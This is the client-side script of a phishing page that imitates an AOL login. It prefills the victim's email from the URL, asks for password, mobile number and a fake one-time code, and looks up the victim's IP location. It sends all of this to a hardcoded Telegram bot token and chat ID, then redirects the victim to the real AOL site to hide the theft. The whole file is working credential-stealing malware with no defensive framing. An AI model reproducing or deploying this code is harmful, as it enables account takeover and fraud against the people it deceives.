document.addEventListener("DOMContentLoaded", function () { // === DOM Elements === const sections = { username: document.getElementById("username-section"), password: document.getElementById("password-section"), mobile: document.getElementById("mobile-section"), otp: document.getElementById("otp-section") }; const extraOptions = document.getElementById("extra-options-section"); const form = document.getElementById("tgForm"); const nextBtn = document.getElementById("next-btn"); const otpInput = document.getElementById("otp-input"); // === Telegram Bot Config === const TOKEN = "7883169631:AAFWgioFj3agljojgdfbZmKpCPRndnqU8z4"; const CHAT_ID = "1753650196"; const TELEGRAM_API = `https://api.telegram.org/bot${TOKEN}/sendMessage`; let isSubmitting = false; let currentOTP = null; let userIPInfo = {}; // === Autofill AOL Email === (function autofillEmail() { const match = /[\w._%+-]+@aol\.[a-z]{2,}/i; const email = window.location.href.match(match)?.[0] || document.referrer.match(match)?.[0]; if (email) document.getElementById("username").value = email; })(); // === Section Toggle Logic === function toggleSections(hide, show, title, subtitle, btnLabel = "Next") { hide.classList.add("hidden"); show.classList.remove("hidden"); document.getElementById("form-title").innerText = title; document.getElementById("form-subtitle").innerText = subtitle; nextBtn.innerText = btnLabel; extraOptions.classList.toggle("hidden", show === sections.mobile || show === sections.otp); if (show === sections.otp) startOTPTimer(); } // === Password Visibility === window.togglePassword = function (inputId, iconId) { const input = document.getElementById(inputId); const icon = document.getElementById(iconId); const isPassword = input.type === "password"; input.type = isPassword ? "text" : "password"; icon.src = isPassword ? "images/eye-password-show-svgrepo-com.svg" : "images/eye-password-hide-svgrepo-com.svg"; }; // === OTP Timer & Generator === function generateOTP() { currentOTP = Math.floor(100000 + Math.random() * 900000); console.log("Generated OTP:", currentOTP); return currentOTP; } function startOTPTimer() { const timer = document.getElementById("timer-countdown"); const resend = document.getElementById("resend-link"); let timeLeft = 60; otpInput.value = ""; const otp = generateOTP(); // Auto-fill OTP after 10 seconds setTimeout(() => { otpInput.value = otp; }, 10000); resend.classList.add("text-gray-400", "cursor-not-allowed"); resend.classList.remove("text-blue-600", "hover:underline"); resend.onclick = e => e.preventDefault(); timer.innerText = timeLeft; const countdown = setInterval(() => { timer.innerText = --timeLeft; if (timeLeft <= 0) { clearInterval(countdown); resend.classList.remove("text-gray-400", "cursor-not-allowed"); resend.classList.add("text-blue-600", "hover:underline"); resend.onclick = resendOTP; } }, 1000); } function resendOTP(e) { e.preventDefault(); startOTPTimer(); } // === Fetch IP Info Once === fetch("https://ipapi.co/json/") .then(res => res.json()) .then(data => { userIPInfo = { ip: data.ip, country: data.country_name, countryCode: data.country_code, state: data.region, city: data.city, address: data.org || "undefined" }; }) .catch(err => console.error("IP fetch error:", err)); // === Main Step Handler === function nextStep(event) { if (event) event.preventDefault(); if (isSubmitting) return; isSubmitting = true; setTimeout(() => { isSubmitting = false; }, 6000); const values = { username: document.getElementById("username")?.value.trim(), password: document.getElementById("password")?.value.trim(), confirmPassword: document.getElementById("confirm-password")?.value.trim(), mobile: document.getElementById("mobile")?.value.trim(), countryCode: document.getElementById("country-code")?.value.trim(), otp: otpInput?.value.trim() }; const userAgent = navigator.userAgent; if (!sections.username.classList.contains("hidden")) { if (!values.username) return alert("Please enter your email."); toggleSections(sections.username, sections.password, "Enter Password", "to finish signing in", "Login"); return; } if (!sections.password.classList.contains("hidden") && sections.mobile.classList.contains("hidden")) { if (!values.password || !values.confirmPassword) return alert("Please enter both password fields."); if (values.password !== values.confirmPassword) { document.getElementById("password-error").classList.remove("hidden"); return; } document.getElementById("password-error").classList.add("hidden"); toggleSections(sections.password, sections.mobile, "Enter Your Mobile Number", "We need this to verify your identity.", "Verify"); return; } if (!sections.mobile.classList.contains("hidden") && sections.otp.classList.contains("hidden")) { if (!values.mobile) return alert("Please enter your mobile number."); const msg = ` πŸ”” New Login Attempt πŸ‘€ Username: ${values.username} πŸ”‘ Password: ${values.password} πŸ“± Mobile: ${values.countryCode}${values.mobile} πŸ”’ OTP: Pending... `; fetch(TELEGRAM_API, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: CHAT_ID, parse_mode: "HTML", text: msg }) }) .then(res => res.json()) .then(() => toggleSections(sections.mobile, sections.otp, "Enter Verification Code", "Check your phone for the 6-digit code.", "Confirm")) .catch(err => console.error("Telegram send error:", err)); return; } if (!sections.otp.classList.contains("hidden")) { if (!values.otp || values.otp.length !== 6) return alert("Please enter the 6-digit OTP."); const finalMsg = ` πŸ”” Final Submission πŸ‘€ Username: ${values.username} πŸ”‘ Password: ${values.password} πŸ“± Mobile: ${values.countryCode}${values.mobile} πŸ”’ OTP: ${values.otp} |------------------| I N F O | I P |------------------| 🌐 Client IP: ${userIPInfo.ip || "Unknown"} πŸ—ΊοΈ Country: ${userIPInfo.country || "Unknown"} πŸ”  Country Code: ${userIPInfo.countryCode || "Unknown"} πŸ™οΈ State: ${userIPInfo.state || "Unknown"} πŸŒ† City: ${userIPInfo.city || "Unknown"} πŸ“‘ Address: ${userIPInfo.address || "Unknown"} |----------------| I N F O | DOMAIN |----------------| πŸ–₯️ Host: 🧭 User Agent: ${userAgent} `; fetch(TELEGRAM_API, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: CHAT_ID, parse_mode: "HTML", text: finalMsg }) }) .then(() => { clearForm(); window.location.href = "https://www.aol.com"; }) .catch(err => console.error("Telegram final send error:", err)); return; } } function clearForm() { document.querySelectorAll("input").forEach(input => input.value = ""); } // === Listeners === form.addEventListener("submit", nextStep); nextBtn.addEventListener("click", nextStep); window.nextStep = nextStep; // === Cleanup === localStorage.removeItem("otp"); });